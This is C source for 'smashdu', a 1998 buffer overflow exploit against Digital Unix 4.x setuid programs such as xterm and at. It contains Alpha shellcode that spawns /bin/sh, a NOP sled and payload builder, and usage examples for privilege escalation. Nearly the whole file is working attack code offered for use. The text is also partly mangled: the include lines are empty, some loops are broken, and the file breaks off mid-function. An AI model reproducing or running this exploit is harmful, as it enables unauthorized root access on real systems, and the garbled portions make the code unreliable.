/* smashdu.c generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???) Lamont Granquist lamontg@hitl.washington.edu lamontg@u.washington.edu Tue Dec 1 11:22:03 PST 1998 ./smashdu -e "DISPLAY=foo:0.0" 1024 0 1501 /usr/bin/X11/xterm -fg %e ./smashdu 1022 2 56 /usr/bin/at %e */ #define MAXENV 30 #define MAXARG 30 #include #include #include #include /* shellcode = 80 bytes. as the entry to this shellcode is at offset+72 bytes it cannot be simply padded with nops prior to the shellcode. */ int rawcode[] = { 0x2230fec4, /* subq $16,0x13c,$17 [2000]*/ 0x47ff0412, /* clr $18 [2000]*/ 0x42509532, /* subq $18, 0x84 [2000]*/ 0x239fffff, /* xor $18, 0xffffffff, $18 */ 0x4b84169c, 0x465c0812, 0xb2510134, /* stl $18, 0x134($17)[2000]*/ 0x265cff98, /* lda $18, 0xff978cd0[2000]*/ 0x22528cd1, 0x465c0812, /* xor $18, 0xffffffff, $18 */ 0xb2510140, /* stl $18, 0x140($17)[2000]*/ 0xb6110148, /* stq $16,0x148($17) [2000]*/ 0xb7f10150, /* stq $31,0x150($17) [2000]*/ 0x22310148, /* addq $17,0x148,$17 [2000]*/ 0x225f013a, /* ldil $18,0x13a [2000]*/ 0x425ff520, /* subq $18,0xff,$0 [2000]*/ 0x47ff0412, /* clr $18 [2000]*/ 0xffffffff, /* call_pal 0x83 [2000]*/ 0xd21fffed, /* bsr $16,$l1 ENTRY */ 0x6e69622f, /* .ascii "/bin" [2000]*/ /* .ascii "/sh\0" is generated */ }; int nop = 0x47ff041f; int shellcodesize = 0; int padding = 0; int overflowsize = 0; long retaddr = 0x11fffff24; void usage(void) { fprintf(stderr, "smashdu [-e ] [-r ] "); fprintf(stderr, "shellsize pad bufsize \n"); fprintf(stderr, " -e: add a variable to the environment\n"); fprintf(stderr, " -r: change ra from default 0x11fffff24\n"); fprintf(stderr, " shellsize: size of shellcode on the heap\n"); fprintf(stderr, " pad: padding to alighn the shellcode correctly\n"); fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n"); fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n"); fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 "); fprintf(stderr, "/foo/bar %%e\n"); exit(-1); } /* this handles generation of shellcode of the appropriate size and with appropriate padding bytes for alignment. the padding argument should typically only be 0,1,2,3 and the routine is "nice" in that if you feed it the size of your malloc()'d buffer it should prevent overrunning it by automatically adjusting the shellcode size downwards. */ int genshellcode(char *shellcode, int size, int padding) { int i, s, n; char *rp; char *sp; char *np; rp = (char *)rawcode; sp = (char *)shellcode; np = (char *)&nop; s = size; if (size < (80 + padding)) { fprintf(stderr, "cannot generate shellcode that small: %d bytes, "); fprintf(stderr, "with %d padding\n", size, padding); exit(-1); } /* first we pad */ for(i=0;i 8; s--, i++) { *sp = np[i % 4]; sp++; } n = i / 4; /* n == number of nops */ /* then we add the tail 2 instructions */ for(i=0; i < 8; i++) { *sp = rp[i+72]; if(i==0) /* here we handle modifying the branch instruction */ *sp -= n; *sp++; } } int main(argc, argv) int argc; char *argv[]; { char *badargs[MAXARG]; char *badenv[MAXENV]; long i, *ip, p; char *cp, *ocp; int c, env_idx, overflow_idx; env_idx = 0; while ((c = getopt(argc, argv, "e:r:")) != EOF) { switch (c) { case 'e': /* add an env variable */ badenv[env_idx++] = optarg; if (env_idx >= MAXENV - 2) { fprintf(stderr, "too many envs, "); fprintf(stderr, "try increasing MAXENV and recompiling\n"); exit(-1); } break; case 'r': /* change default ra */ sscanf(optarg, "%x", &retaddr); break; default: usage(); /* NOTREACHED */ } } if (argc - optind < 4) { usage(); } shellcodesize = atoi(argv[optind++]); padding = atoi(argv[optind++]); overflowsize = atoi(argv[optind++]); printf("using %d %d %d\n", shellcodesize, padding, overflowsize); /* copy the args over from argv[] into badargs[] */ for(i=0;i<29;i++) { if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode */ badargs[i] = malloc(overflowsize); overflow_idx = i; optind++; } else { badargs[i] = argv[optind++]; } if (optind >= argc) { i++; break; } } badargs[i] = NULL; if (optind < argc) { fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n"); exit(-1); } printf("putting overflow code into argv[%d]\n", overflow_idx); cp = badargs[overflow_idx]; for(i=0;i